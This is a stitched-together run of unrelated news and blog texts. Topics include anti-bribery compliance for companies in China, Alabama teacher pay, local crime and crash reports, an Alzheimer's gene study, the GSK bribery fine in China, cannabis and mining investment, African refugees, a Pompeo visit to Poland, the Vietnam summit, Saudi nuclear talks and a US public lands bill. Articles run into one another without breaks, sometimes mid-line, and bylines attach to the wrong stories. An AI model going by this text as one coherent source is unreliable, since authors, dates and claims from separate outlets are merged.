Companies have made sponsorships or donations with the knowledge that some of the money is going into the pockets of officials running the academic association or charity.

Donations are explicitly linked to decisions on whether a companys product will be approved for sale or insurance reimbursement  no donation, no approval.

It is implied that not all the money is being used for academic or charitable purposes, but the transactions are not questioned because the officials of the associations and charities are key opinion leaders in a position to influence the China medical communitys view of the company.

There is reluctance to scrutinize what the funds are used for; it is unseemly to ask too many questions or require performance evidence of academic associations or charities.

While there are often scientific/medical compliance protocols in place for grants and donations, integrity controls are missing or inadequate, considering the likelihood of requests for bribes and the potential regulatory impact. The heads of most established medical associations in China are prominent doctors, heads of hospitals, medical professors, etc., who also hold official titles, exposing companies to U.S. Foreign Corrupt Practices Act, UK Bribery Act, and Chinese related enforcement.

What is the best medicine? Companies need to know exactly to whom they are donating the money. In-depth due diligence should be conducted on the association or charity to understand their structure, background, ability to carry out the work that is promised and relevant political connections.

In addition, compliance personnel should go out in the field and verify the association or charity is actually using the money for what it promised  e.g. healthcare professional academic events, marketing events for the charity program, patient awareness campaigns, etc. These spot checks do not need to put pressure on the association or charity. And if they do, that should be considered a red flag.

Compliance case overloaded. Despite an increase in headcount and resources, most companies find their compliance caseload continues to be overwhelming. Improvements in compliance and monitoring mean catching more violations; and are supplemented by a dramatic increase in whistleblower activity (only likely to continue as China codified the protection and reward of whistleblowers from April 2016).

The risk here is that compliance teams will simply work faster and for more hours in the hope they will eventually tackle the problem. However, the race to close cases out can lead to missing key findings, which can leave the compliance department and entire company exposed to potential regulatory liability.

Whats the fix? When working harder and faster isnt the solution, companies need to establish a risk-ranking approach  a system of prioritization and ranking each case. Higher scores will be given when there is a known government or media interest in the matter, to protect the companys license to do business and reputation. If there is a whistleblower involved, evaluate their nature and attitude. Higher scores will be given if they are making credible threats to take their allegations to the government or media, then raise the priority level of the case. Finally, cases involving issues of violence, bribery and defrauding a key stakeholder will also be allocated scores accordingly.

Dealing with extortive whistleblowers. By now, it is commonly known that whistleblowing cases have been increasing in China in the past three years and whistleblowers present unique challenges to multinational companies. But we have seen one type of whistleblower is especially disruptive  the whistleblower who makes a demand or they will take their allegations to the government or media. Often this type of whistleblower is an employee in the process of involuntary separation from the company.

We generally view these types of whistleblowers as extortionists, abusing their status as a whistleblower to obtain a benefit from the company. Because the majority of companies do not have much experience dealing with extortionists, they do not have an established process for addressing this unique type of case. That is the wrong approach because these cases are among the highest-risk we see in a companys compliance case load.

Whats the solution? Since these cases often involve tight deadlines and high pressure, it is advisable to game plan for them before they happen. An extortion case is essentially a crisis event, so consider repurposing applicable parts of the companys crisis management plan to provide structure on how to deal with it. Think about the terms on which the company would be willing to engage such a whistleblower, if any. Plan how you would identify and employ surge investigative resources to cover this priority case, while continuing to handle the normal compliance case load. Planning for such cases before they occur will give the company a much better command of the situation.

____

Howard Wang, pictured above, is a Principal of the Compliance, Forensics & Intelligence team in the Shanghai office. As a qualified forensic accountant, he has participated in more than one hundred financial statement fraud investigations, FCPA due diligence and assessments, contract and procurement fraud investigations, litigation support and tax fraud investigations in China and Australasia. He can be contacted here.Teachers in Alabama might get a pay raise next year and teachers say it's about time.

Alabama ranks 41 in the nation according to a 2018 analysis by Asbury Park Press. The average salary is a little more than $48,000, but the value of their salaries has been eroding, making it worth less than a decade ago.

WAAY 31 spoke to some current and former teachers and they said they've had to use their personal money to fund activities in the classroom. It's a sacrifice they said they shouldn't have to make.

"Sometimes for the extra things that I want the kids to have, I put a good bit of my own money back into my classroom. It's hard to do because you take money out of your own house for your own children," said Decatur teacher Amy Hill.

"Teachers still take money out of their pocket to subsidize children's needs," said former Madison County teacher Larry Sharp.

This is the response WAAY 31 received when we asked two teachers how they feel about what they get paid. Retired teacher Larry Sharp said he worked for Madison County Schools for 35 years and he said it was difficult to make ends meet.

"You have to be frugal. You have to look around and say is your career worth seeing your children not have as much as everybody else's children," said Sharp.

He had to make adjustments in his life to make up for the lack of income.

"I've always had two jobs," said Sharp.

Amy Hill, a teacher with Decatur City Schools, also said it's difficult to live off of her salary.

"We really have to plan our expenditures and know what's coming in and not make frivolous purchases and save for things that we really want," said Hill.

Now there is a proposal to raise Alabama teacher salaries next year after there was an increase in money received from taxes last year. Both Hill and Sharp said it's something that needs to happen.

"It's very exciting to think that might happen. It's very exciting," said Hill.

"If we don't pay people, we are not going to get the best and brightest and we need those people working with our children," said Sharp.

State representatives said if the proposal passes, the pay raise percentage will depend on each person's salary and the money will go to public school teachers. The primary source of education funding for Alabama is property tax and sales tax collections. The state said both were up last year.Alabama State Troopers are on the scene of an overturned 18-Wheeler in Limestone County.

Troopers told us the crash happened just before 1 Wednesday morning on interstate 65 at mile marker 365 as you enter Alabama from Tennessee. The driver was taken to Athens Hospital with minor injuries. The truck may have been filled with car parts according to investigators.

Right now, officials arent sure how this crash happened. They are currently working to unload the truck before the can turn it upright.

We will update this story once more information becomes available.HudsonAlpha Institute for Biotechnology of Huntsville released this information on Wednesday:

From their press release:

Scientists at the HudsonAlpha Institute for Biotechnology have helped identify a genetic change that is causing Alzheimers disease, expanding what we know about how the disease can be inherited and giving participants in the study an opportunity to join prevention trials.

Researchers looked at 93 members of a family in Colombia that had a history of inherited Alzheimers disease. They found that 26 of them had a never-before-identified mutation onPSEN1, a heavily studied gene, known to cause Alzheimers. By discovering new mutations, scientists are better able to understand how the gene works as a whole.

Current drug trials aim to alleviate Alzheimers symptoms through early treatment, and in unique families like those identified in this study, there is the opportunity to start therapy years before symptoms begin. By identifying this mutation, scientists hope to give affected individuals the chance to participate in these trials early to maximize the chance of a therapeutic benefit.

PSEN1 encodes an enzyme that works almost like scissors in the production of a protein called amyloid beta. When PSEN1 is mutated, the amyloid beta proteins wind up being too long, making them stickier, so they more easily form into plaques in the brain. Preventing the formation of those plaques may help alleviate symptoms.

This latest study recently appeared in Alzheimers and Dementia. Ken Kosik, MD, of the University of California, Santa Barbara (UCSB) led the study along with Francisco Lopera, MD, from the The University of Antioquia. HudsonAlpha scientists from the Richard M. Myers Lab assisted with analysis of the data.

These large family studies give us an incredible opportunity to understand how Alzheimers works at a genetic level, said Kosik. Studying these early-onset cases  including people who are presymptomatic  give us a chance to really dig deep into what specifically is changing in the body, brain and genome to cause the degeneration. It also allows us an opportunity to try to ward off the worst of the disease.

HudsonAlphas Nick Cochran, PhD, explained, This is another example of a large family study in Colombia producing promising results. These rare families continue to teach us about how this disease works, and as scientists, it is wonderful to have the opportunity to be able to help find answers for these families, and potentially even accelerate their involvement in clinical trials. Cochran is a postdoctoral fellow in the Myers Lab.

HudsonAlphas ongoing collaboration with UCSB and Colombia is made possible, in part, by funding from the HudsonAlpha Foundation Memory and Mobility Program, which creates the opportunity for further sequencing and study of Alzheimers patients, with the aim of moving toward better understanding and treatment.

About HudsonAlpha: HudsonAlpha Institute for Biotechnology is a nonprofit institute dedicated to developing and applying scientific advances to health, agriculture, learning, and commercialization. Opened in 2008, HudsonAlphas vision is to leverage the synergy between discovery, education, medicine, and economic development in genomic sciences to improve the human condition around the globe. The HudsonAlpha biotechnology campus consists of 152 acres nestled within Cummings Research Park, the nations second largest research park. The state-of-the-art facilities co-locate nonprofit scientific researchers with entrepreneurs and educators. HudsonAlpha has become a national and international leader in genetics and genomics research and biotech education and includes more than 30 diverse biotech companies on campus. To learn more about HudsonAlpha, visit hudsonalpha.org.Lawyers for both the City of Huntsville and a pair of Huntsville Police officers filed responses to a lawsuit alleging excessive force during an arrest in 2016.

The two responses, which were filed on Monday, answer the amended complaint filed last month on behalf of Hilton Germany and his mother, Jonnie Bey. This was in response to an incident on October 23, 2016 during which Germany claims he was falsely arrested and was subjected to excessive force.

In a separate federal court filing on behalf of the city (also on Monday), defense attorneys George Royer Jr. and David Canupp argue that some of the defendants listed in the amended complaint should be removed from the proceedings.

The complaint lists John Doe, Richard Doe and Bill Doe as defendants, which Germanys attorney, Terrell McCants, states are three officers that were present when Germany was arrested, but did not give their names at the time

Royer and Canupp refute that claim in Mondays filing, arguing that Germanys attorney only claims that they are real parties who are merely sued under a fictitious name and provides no other identifying information about them, other than that they are Huntsville Police officers present at the time of Germany's arrest.

They said because of that, a process server [would not] know which Huntsville police officer to serve with process.

Defense attorneys are seeking to have the lawsuit dismissed.The youngest daughter of Dr. Martin Luther King, Jr. held a lecture at Alabama A&M University.

Dr. Bernice A. King was invited to speak as part of Black history month. WAAY-31 shares her message to students and professors.

The focus of the Black history celebration was all about how the younger generation in the audience can make a change in the world today.

"It takes more than social media and a platform to basically get a point across or a message. It also takes a powerful voice," said senior mechanical engineer student, Trevaughn Nettles

He said he believes Dr. Bernice King stressed three major points in her speech: always research, actively listen to others, and have real action behind the words you speak.

"I believe that if we manage this season correctly, we will be able to possess some things that we've never possessed before," said Dr. Bernice King

She said in a world full of smart phones, many people aren't acting intelligently. She says there's too much nonsense and not enough understanding in movements these days.

"If we want to see a more just and equitable and humane world, we can't just cancel people," said Dr. King.

Nettles believes the answer to the problem is simple...

"If we can all come together and create one message we'll be fine,"

'Listen to those older than you," that was Dr. King's call to action for millennials across the United States. She says organization and strategy is important for any movement to make an impact and that's the reason many Black community movements of today aren't doing as well.Limestone County Sheriffs Office deputies and investigators arrested escaped inmate Joseph Lee Davis Tuesday evening in the Piney Chapel area. Davis had walked off his work release job site on Monday.

Limestone County deputies, investigators and correctional officers worked together to conduct surveillance at a residence in the Piney Chapel community where Davis was spotted, said Stephen Young, sheriffs office spokesman.

Davis got into a vehicle and a traffic stop was conducted, during which he was arrested without incident, Young said.

Davis is charged with Escape 1st Degree with a $25,000 bond, but he is not eligible for bond because of the sentence he was serving, said Young. The new charge is a class B felony, which is punishable by up to 20 years in prison if convicted.

Young said Davis was never considered a threat to the publics safety, as he was in jail for property crimes. He was in the final year of serving his sentence at the time of his escape.

Davis walked off from work release at Cast Products Inc. on Hwy. 127 in Athens on Monday.

On Tuesday, the sheriff's office arrested Daviss girlfriend, 33-year-old Sandi Slaton, for facilitating his escape. Slaton confessed to investigators that she gave Davis a cell phone while he was working at CPI. She also brought him money, food and alcohol from time to time, the sheriff's office said.A Huntsville Police Officer is recovering at home after his cruiser was hit by a vehicle on I-565. The crash happened as he was working another wreck near the airport.

Ryan Koch, a Madison County Sheriff's Deputy, shared with us he was involved in a similar wreck. He said the "move over" law is important to all first responders.

"They never moved over and never slowed down. It was just an instant boom into the back of my car," he said.

Koch explained he was performing a traffic stop eight years ago on US highway 231. He said a car came right for his cruiser at one o'clock in the morning.

"He hit me hard enough that it bent the frame at a 90 degree angle. It knocked the window out," he said.

Koch said he was in Crown Victoria on the side of a highway just like the Huntsville police officer who was hit Monday night.

"I know how that officer or deputy out there feels, and to be able to stand back and look at the car and to say, wow it could have been a lot worse than what it was," he added.

Back in 2011, Alabama had a move over law. It's been strengthened over the years, and now requires anyone to move over when they see any car with flashing lights, on the side of the road even if it's someone changing a tire. Koch, the other deputy and the suspect were able to get out of the way that night, but he knows it could have played out very differently.

"It always goes back into your head about what if I was getting back into the car when he come by and hit us or what if I was sitting in the car," he added.

Koch said to this day he remembers the wreck vividly, and it's always on his mind when he makes a traffic stop.

"I just had to step back and take a deep breath and say wow I was really lucky," he said.

Huntsville police haven't identified the officer involved in the wreck from Tuesday night, and told us crash is still under investigation. Huntsville police told us the driver of the vehicle that hit the police cruiser isn't expected to face any charges.The hunt is still on for the man who walked away from work detail in Limestone County.

It's now been more than 24 hours since Joseph Davis walked away from his job at Cast Products Incorporated in Athens.

We've since learned that several businesses in Limestone County allow inmates to work.

WAAY 31 spent the day learning what these businesses are required to do.

One business owner told WAAY 31 an escape will never happen under her watch.

You dont have to worry about if theyre going to come to work today or if theyre going to stay out today," Wanda Haggard said. "They have to work, and the ones that Ive had have turned out to be really good employees."

Wanda Haggard is the owner of Eagles Diner and is proud to say she's been using Limestone Countys work release program for about five years.

It is a good program, but you do have to know what to do with them," Haggard said. "You do have to know that you have to keep an eye on them and dont give them a chance to do what happened yesterday.

What Wanda is referring to is the inmate who walked off the job at Cast Products Incorporated on Monday.

It was a little bit scary. Im thinking, What if this happened to me? You can never be too cautious," she said.

Thats why Wanda and her staff keep a very close eye on the inmate who works in her restaurants kitchen.

Shes always working with someone. Shes never by herself.

Wanda says the inmate has become a crucial part of their team and is a very good cook.

The one I have now, shes a really good one," Wanda said. "Shes a very hard worker.

And customers tell WAAY 31 they dont mind the fact that an inmate is working there at all.

They have always worked out beautifully here. I think its a great deal for the person involved. It gives them an opportunity to put a little money aside," customer Tom Stevenson said. "I think its a win-win for them, for the sheriffs department, and for Wanda and them here at the Eagle.

Wanda says shes not the least bit worried about any attempted escapes.

I really dont think that it will happen here, because were not going to give it a chance to happen here," Wanda said.

The county requires participating businesses to supervise inmates at all times.A court in China fined UK pharma giant GlaxoSmithKline $490 million Friday following a conviction for bribery.

GSKs former head of China operations, Mark Reilly, was given a three-year prison sentence that was suspended, the BBC said. The court ordered Reilly to be deported.

The convictions came after a one-day trial in the city of Changsha.

Other GSK executives who are China nationals were sentenced to between two and four years in prison, the South China Morning Post said.

China authorities in July 2013 accused GSK of paying $482 million in bribes to health officials and doctors to boost sales. Chinas Ministry of Public Security said GSK had used 700 travel agents to deliver the illegal payments since 2007.

Mark Reilly, a UK citizen, was arrested in May this year by the Ministry of Public Security for offering bribes to hospital personnel and doctors.

Two Chinese executives, Zhang Guowei and Zhao Hongyan, were arrested at the same time. Four others had been detained in July 2013.

All of the individual defendants faced up to life in prison.

China state TV broadcast a confession last year by GSKs vice president of China operations.

GSK CEO Andrew Witty said in a statement Friday: Reaching a conclusion in the investigation of our Chinese business is important, but this has been a deeply disappointing matter for GSK. We have and will continue to learn from this.

The statement said the illegal activities of [GSK China] are a clear breach of GSKs governance and compliance procedures; and are wholly contrary to the values and standards expected from GSK employees.

GSK published a Chinese-language apology to the Chinese government and its people on its website.

The UK Serious Fraud Office opened a criminal investigation in May into alleged overseas bribery by GSK.

In April this year, GSK said it was investigating allegations that it had hired government-employed doctors and pharmacists in Iraq to serve as paid sales reps for its products.

The company is also investigating alleged bribery of doctors in Jordan and Lebanon.

Polish authorities have said they are investigating alleged bribery of doctors by GSK representatives.

The U.S. DOJ and SEC contacted the company in 2010 about possible violations of the FCPA in China and other countries.

In August, a court in Shanghai sentenced a British investigator and his American wife who had done work for GlaxoSmithKline to two-and-a-half years in jail for trafficking personal data.

Peter Humphrey and Yu Yingzeng were arrested in July 2013.

GSK had hired their Shanghai-based firm, ChinaWhys, to investigate emails from a former employee that alleged widespread bribery.

The ex-employee was also suspected of circulating a sex tape of Reilly with his girlfriend.

The court ordered Humphrey to be deported after he serves his sentence.

____________

Richard L. Cassin is the publisher and editor of the FCPA Blog. He can be contacted here.The event aims to introduce to Hanoians, as well as domestic and foreign visitors, the specific culture of ethnic groups in the northern province of Bac Giang.

Folk singing performance



Folk games attract many visitors, even children.



The special folk game in Bac Giang province introduced at the museum



Children enjoy dancing at the programme

Many Zimbabweans are turning to social media to express themselves in light of the country's tight media space. Despite government's efforts to stop the flow of information by shutting down the internet during recent protests, Columbus Mavhunga reports from Harare on the role of social media.Joe Bavier, Barbara Lewis

* Cannabis liberalisation spreading globally

* Miners suffering from lack of investor trust

* Fundraising increasingly difficult

By Joe Bavier and Barbara Lewis

CAPE TOWN (Reuters) - A boom in cannabis investment is siphoning capital away from mining and hitting junior miners hardest, forcing them to up their game and potentially improving the quality of projects in a sector long rife with cowboy speculators.

Canadas relaxation of cannabis laws culminated in legalisation for recreational use in October. Other jurisdictions are following suit or liberalising their laws on medical or health use, creating an industry that has lured a breed of high-risk, high-return investors.

The worlds top three listed cannabis companies - Canopy Growth, Tilray and Aurora Cannabis - have a combined market value of around $30 billion. And consumers are expected to spend over $7 billion on cannabis products in Canada alone this year, according to Deloitte.

In Africa, where miners met this week for Cape Towns African Mining Indaba conference, cannabis companies are setting up projects in Lesotho, while other countries, including Zimbabwe and South Africa, plan to issue licences.

Raising money is extremely difficult, said Patrick Downey, head of Canadian junior gold exploration company Orezone Gold , who compared the cannabis boom to the headwinds juniors faced during the dot-com bubble of the late 1990s.

Its a cyclical business, and it will come back, Downey said. But you have to have a good project.

The rise of cannabis comes at a time when investors were already turning away from mining.

The biggest problem in mining is that it destroys shareholder value, said Philip Hopwood, Deloittes global mining and metals leader.

Miners operating in Africa - already viewed by many investors as a particularly risky bet - have been doubly hit.

Its like the straw that broke the camels back, said one explorer at the Indaba.

SURVIVAL OF THE FITTEST

As early IPOs, once a right of passage for exploration juniors, have slowed to a trickle with cannabis stocks delivering better short-term returns, miners are increasingly turning to private equity.

And as active investors replace passive stockholders, companies are having to sell the merits of their projects to more discerning potential backers.

Sebastien de Montessus - chief executive of Endeavour Mining , one of the most successful mid-tier gold players - considers it a process of natural selection.

Its a good thing ... Youre going to have to be stronger and better, he told Reuters in an interview at the Indaba.

The CEO of Barrick Gold, one of the worlds biggest gold companies, said minings struggles to fend off the challenge from cannabis reflected the poor state of the industry in the eyes of prospective investors.

We should be embarrassed that somebody is prepared to make a choice between those two options, Mark Bristow told Reuters. (Mining) is just so fundamentally material to our everyday lives, whereas I cant say the same of cannabis.

Majors such as Barrick and companies with projects already in production can better weather the storm.

The newest juniors in the riskiest areas are racing to adapt. And some are getting creative.

Prospect Resources executive director Harry Greaves on Wednesday won an award at the Indaba for his lithium project in Zimbabwe.

He said Australian and Chinese investment had helped. And he was also considering growing cannabis at his lithium site on the outskirts of Zimbabwes capital Harare.

We dont yet have a marijuana licence, but we have the land available, he said. (Editing by Dale Hudson)African nations, which host more than 20 million people forced to flee their homes, must enforce international agreements to better protect and provide opportunities for those escaping conflict and disaster, aid groups said Tuesday.

Refugees and internally displaced people topped the agenda at the African Union's (AU) annual heads of state summit, which ended Monday  a move welcomed by humanitarians as growing numbers are forcibly uprooted around the world.

African nations have been lauded for adopting a more liberal "open door" policy toward refugees than Western nations, despite being low-income economies.

But refugees are then usually confined to camps in Africa.

They cannot access basic public services like health and education and are not allowed to work. Those fleeing within their own country are vulnerable to attacks by armed factions.

"Some African countries are doing a tremendous job in providing safety for neighbors fleeing wars and persecution," said Yemisrach Kebede, the Norwegian Refugee Council's (NRC) representative to the AU.

"[But] currently, many displaced people are left without necessary protection and support, both in their home country and in the countries where they seek protection as refugees."

Over a third of the world's forcibly displaced people are found in Africa, including some 6.3 million refugees and 14.5 million internally displaced persons, says the AU.

Many have been uprooted due to armed conflict in countries such as the Central African Republic, Nigeria, Somalia and South Sudan. Others have had their lives disrupted due to disasters linked to climate change such as floods or droughts.

Compared to other regions, Africa has a well-developed legal framework, with treaties protecting and providing rights to displaced people and refugees, said the International Federation of Red Cross and Red Crescent Societies' (IFRC) Jagan Chapagain.

"Yet states often face difficulties to implement and apply such frameworks," said Chapagain, the IFRC's under secretary-general for Programs and Operations.

"All of those on the move should have access not only to basic services to meet needs like water, food, [and] medical care, but also to protection and to measures that seek to restore their hope and safeguard their dignity."

The Global Compact on Refugees, for example, was approved by United Nations member states in December and seeks to ease pressures on host countries and provide refugees with access to education and work to help them become self-reliant.

Under the pact, African nations hosting refugees would be able to access funds from Western nations, the private sector and international financial institutions to support those who have been forcibly displaced, aid agencies said.

With aid agencies struggling to raise funds, countries such as Uganda  which hosts over 1 million refugees and allows them freedom of movement and the right to work  have been praised for progressive policies aimed at integration and empowerment.

Last month, Ethiopia passed legislation allowing for similar provisions for the over 900,000 refugees it hosts.With the Russian border little more than an hour away, the desolate grey sky burst open with an explosion of fire and a plume of smoke. If the scene evoked the Cold War, it was intentional.

U.S. Secretary of State Mike Pompeo trekked Wednesday to the Polish town of Orzysz to witness NATO live-fire exercises in an unmistakable sign to Warsaw that the United States has its eye on Russia.

Pompeo walked through drizzling rain with senior Polish officials over frozen soil and patches of snow to a reviewing stand as several hundred troops stood at attention.

Pompeo, a West Point graduate who served as a U.S. Army cavalry officer in Germany when Poland was on the other side of the Iron Curtain, said little had changed except, he joked, that back then he was listening to cassette tapes of Van Halen.

The U.S. top diplomat likened Orzysz, around 70 kilometers (45 miles) from Russia's Baltic Sea enclave of Kaliningrad, to divided Germany's infamous Fulda Gap  where NATO feared that Soviet tanks could penetrate its defenses.

"Today, the gap in which we stand occupies the same priority focus for NATO commanders that the Fulda Gap did back then  once again because of Russian aggression," Pompeo said in reference to the so-called Suwalki Gap.

He said that the concern was not theoretical, denouncing Russian President Vladimir Putin for the 2014 annexation of the Crimean peninsula and ongoing support for separatists in Ukraine, as well as Moscow's war a decade earlier with Georgia.

"We take seriously those concerns that Russia may one day try to open a front along a line right here," Pompeo said.

Simulated battle

Pompeo then advanced with senior Polish officials including Foreign Minister Jacek Czaputowicz to observe exercises by troops from the five countries at the base  the United States, Poland, Britain, Croatia and Romania.

Amid startling shots from rocket launchers, 20 troops sprinted from a corner for a display of hand-to-hand combat, simulating punching and kicking one another as if in the throes of battle.

Pompeo watched with a smile as Bradley armored vehicles rolled by and a dozen soldiers jumped out before him and squatted with their rifles, shooting metallic targets in the shape of enemy bodies.

A Polish officer provided a running, dispassionate narrative in precise English, explaining, "The snipers wait patiently for the enemy soldier to present the opportunity for the perfect shot."

Wooing the US

Putin has accused the United States of trying to contain Russia and has pledged to boost Moscow's own military, including by deploying nuclear-capable Iskander missiles to Kaliningrad.

Meanwhile, U.S. President Donald Trump has voiced admiration for Putin and mused that NATO  which considers an attack on any of its 30 members an attack on all  cheats the United States out of money.

Believing a permanent U.S. presence would be the ultimate deterrent, Poland has offered to contribute to building a US base  which it has cheekily suggested could be called Fort Trump.

Asked about a troop increase, Pompeo said the United States was "taking a look at it."

NATO promised Russia in 1997 not to station significant forces in the former eastern bloc. As tensions have grown however, the alliance has instead rotated troops through front-line countries.

Poland offered an additional sweetener on Wednesday. U.S. Vice President Mike Pence, also in the country, said Warsaw would buy $414 million worth of U.S. mobile rocket launchers  good news for the transaction-minded Trump.TAIPEI - When Singapore played host in June to the first summit between U.S. President Donald Trump and North Korean leader Kim Jong-un, businesspeople in the city-state made money from summit-themed merchandise and side events. About 2,500 journalists visited, and Singapore Prime Minister Lee Hsien Loong was quoted saying the summit would bolster his countrys image abroad.

Now Vietnam, as host to a second Kim-Trump summit scheduled for February 27-28, should expect to get even more, country specialists say.

The summit in Hanoi, likely covering U.S. concerns about the buildup of North Korean weapons, will earn Vietnam new respect from both democratic and communist countries, good for its multi-country foreign policy and reputation as a go-to country for business including large international events.

All the stakeholders, North Korea, the United States, China and South Korea, trust Vietnam to be a neutral host, said Carl Thayer, emeritus professor with the University of New South Wales in Australia. China backs North Korea, which the U.S. government fears is developing nuclear weapons.

Vietnams success will reaffirm the correctness of its foreign policy of diversifying and mutilateralizing its external relations and being a reliable friend to all, he said. Vietnam benefits from the leverage it acquires as host for the second summit.

Ties with worlds biggest economy

Once war-ravaged Vietnams quick economic growth since the late 1980s stands to get special attention at the summit from the United States.

Foreign direct investment drawn by cheap labor has driven the Southeast Asian countrys economic growth of 6-7 percent since 2012. Last month alone, registered investment from abroad grew 27.4% compared to the same month a year ago. Also last month Vietnam joined the Comprehensive and Progressive Trans Pacific Partnership, a free-trade deal encompassing about 13.5 percent of the world economy.

The U.S. government had placed Vietnam under a 19-year trade embargo through 1994.

American consumers now look to Vietnam for shoes, clothing and electronics as U.S. firms increasingly eye the Vietnamese middle class as a viable export market, said Rajiv Biswas, Asia-Pacific chief economist at the market research firm IHS Markit.

Vietnams relationship with the U.S. will definitely be a key feature of this meeting, Biswas said. Although the meeting is obviously between the U.S. and North Korea, I think the backdrop of President Trump visiting Vietnam is also very positive for Vietnam. It offers the opportunity for bilateral dialogue.

U.S.-Vietnam relations are moving to a new higher level, he said, and this summit puts a spotlight on that trend.

In 2017 Trump lauded Vietnams economic progress as a great miracle despite a trade gap favoring Hanoi. His comment tells North Korea that as a country with Communist rule like Vietnams it can improve too, said Frederick Burke, partner with the law firm Baker McKenzie in Ho Chi Minh City.

International events

The summit will add to Vietnams list of major international events, analysts add. Countries in Asia, Thayer said, know that Vietnam is capable of providing security, excellent accommodation, and professional diplomatic experience to managing a high-level summit meeting.

The 21-member Asia-Pacific Economic Cooperation leaders meeting took place in 2017 in Vietnams central coast city Da Nang. Next year Vietnam will chair the 10-country Association of Southeast Asian Nations, a role that requires holding a series of large-scale events.

I think that Vietnamese leaders have not really been confident in the international arena, said Trung Nguyen, international relations dean at Ho Chi Minh City University of Social Sciences and Humanities. This is a chance for them to be used to receiving a lot of attention in the world.

Political prestige

Vietnam, already trusted by the summit parties, will go on record this month for supporting a regional peace effort if the two summit participants make progress on handling North Korea's nuclear weapons, Burke said.

Its stature in terms of the international community, not just a responsible member but actually as a leader who steps up to the highest level of international relations and international problem solving, Burke said.

Vietnam, like other Southeast Asian governments, pursues a balanced foreign policy to get security and economic benefits from China as well as from Western powers.

At the summit in Singapore, Trump and Kim issued a broad joint statement covering U.S. security guarantees for North Korea and expressing support for a cut in nuclear weapons.WASHINGTON - U.S. senators from both parties introduced a resolution on Tuesday requiring that any deal to share U.S. nuclear power technology with Saudi Arabia block the kingdom from making a nuclear weapon.

Under the measure, any U.S. civilian nuclear cooperation agreement, or 123 agreement, with Saudi Arabia would prevent enrichment of uranium or reprocessing of plutonium made in reactors - two routes to making nuclear weapons.

It is unclear whether a majority of the 100-member Senate would support the resolution of Democrats Jeff Merkley and Ed Markey and Republican Rand Paul. The resolution is also non-binding on the U.S. government.

But with significant support, it would signal concern in Congress over Saudi-led bombing campaigns in Yemen and over the killing of U.S.-based Saudi journalist Jamal Khashoggi in the Saudi consulate in Istanbul in October.

Energy Secretary Rick Perry testifies on the fisca FILE - Energy Secretary Rick Perry testifies on the fiscal 2019 budget during a hearing of the Senate Appropriations Committee Subcommittee on Energy and Water Development on Capitol Hill, April 11, 2018 in Washington. FILE - Energy Secretary Rick Perry testifies on the fiscal 2019 budget during a hearing of the Senate Appropriations Committee Subcommittee on Energy and Water Development on Capitol Hill, April 11, 2018 in Washington.

U.S. Energy Secretary Rick Perry has been holding quiet talks with officials from Saudi Arabia on sharing U.S. nuclear technology. U.S. President Donald Trump hosted nuclear power executives on Tuesday for talks on keeping the industry competitive on exports with France, China, and Russia.

The Trump administration is trying to advance nuclear energy technology domestically and abroad as the industry suffers from plentiful supplies of cheap natural gas and high safety costs at home. A resolution could pressure the administration to push for a deal with tougher standards.

"If Saudi Arabia is going to get its hands on nuclear technology, it's absolutely critical that we hold it to the gold standard for non-proliferation," Merkley said in a release. "The last thing America should do is inadvertently help develop nuclear weapons for a bad actor on the world stage."

Riyadh has said it wants to be self-sufficient in producing nuclear fuel and that it is not interested in diverting nuclear technology to military use. But Saudi Crown Prince Mohammed bin Salman told CBS last year the kingdom will develop nuclear weapons if arch-rival Iran does.

In previous talks, Saudi Arabia has refused to sign an agreement with Washington that would deprive it of enriching uranium. The Saudi embassy in Washington did not immediately respond to a request for comment.

Last year Saudi Arabia put the United States on a shortlist with South Korea's state-run utility KEPCO, along with France, China and Russia to bid for a nuclear power project. The winner will likely be selected in 2019.

U.S. reactor builder Westinghouse, owned by Brookfield Asset Management Inc, would likely sell nuclear technology to Saudi Arabia in any deal.

Chris Crane, president and chief operating officer of Exelon, the largest U.S. nuclear power operator, told reporters Trump was supportive in Tuesday's meeting with the executives but wanted them to clarify their expectations.

Crane was joined by Daniel Poneman, head of uranium enrichment company Centrus Energy and deputy energy secretary under former President Barack Obama, and John Hopkins, head of NuScale Power, a company developing small modular reactors.WASHINGTON - The Senate on Tuesday approved a major public lands bill that revives a popular conservation program, adds 1.3 million acres of new wilderness, expands several national parks and creates four new national monuments.



The measure, the largest public lands bill considered by Congress in a decade, combines more than 100 separate bills that designate more than 350 miles of river as wild and scenic, add 2,600 miles of new federal trails and create nearly 700,000 acres of new recreation and conservation areas. The bill also withdraws 370,000 acres in Montana and Washington state from mineral development.



The Senate approved the bill, 92-8, sending it to the House.



Lawmakers from both parties said the bill's most important provision was to permanently reauthorize the federal Land and Water Conservation Fund, which supports conservation and outdoor recreation projects across the country. The program expired last fall after Congress could not agree on language to extend it.



"The Land and Water Conservation Fund has been a pre-eminent program for access to public lands" for more than 50 years, said Sen. Maria Cantwell, D-Wash. The program has supported more than 42,000 state and local projects throughout the U.S. since its creation in 1964.



The hodgepodge bill offered something for nearly everyone, with projects stretching across the country.



Even so, the bill was derailed last year after Republican Sen. Mike Lee objected, saying he wanted to exempt his home state of Utah from a law that allows the president to designate federal lands as a national monument protected from development.



Lee's objection during a heated Senate debate in December forced lawmakers to start over in the new Congress, culminating in Tuesday's Senate vote.



Sen. Cory Gardner, a Colorado Republican who clashed with Lee on the Senate floor, said the vote caps four years of work to reauthorize the Land and Water Conservation Fund and protect public lands.

Sen. Lisa Murkowski, R-Alaska, speaks after an ord FILE - Sen. Lisa Murkowski, R-Alaska, speaks after an order withdrawing federal protections for countless waterways and wetland was signed, at EPA headquarters in Washington, Dec. 11, 2018. FILE - Sen. Lisa Murkowski, R-Alaska, speaks after an order withdrawing federal protections for countless waterways and wetland was signed, at EPA headquarters in Washington, Dec. 11, 2018.

Sen. Lisa Murkowski, R-Alaska, who chairs the Senate Energy and Natural Resources Committee, said the bill enhances use of public lands and water, while promoting conservation and sporting activities such as hunting and fishing.



The bill includes provisions sponsored by more than half of the senators, Murkowski said, applauding a "very, very collaborative" process.



She and other senators called the Land and Water Conservation Fund one of the most popular and effective programs Congress has ever created.



The program uses federal royalties from offshore oil and gas drilling to fund conservation and public recreation projects around the country. The fund is authorized to collect $900 million a year but generally receives less than half that amount from Congress.



"This victory was a long time in the making, and it is the result of the steadfast efforts of many who care deeply about America's natural treasures," said Sen Richard Burr, R-N.C. "Protecting this program is the right thing to do for our children, grandchildren and countless generations so that they may come to enjoy the great American outdoors as we have."

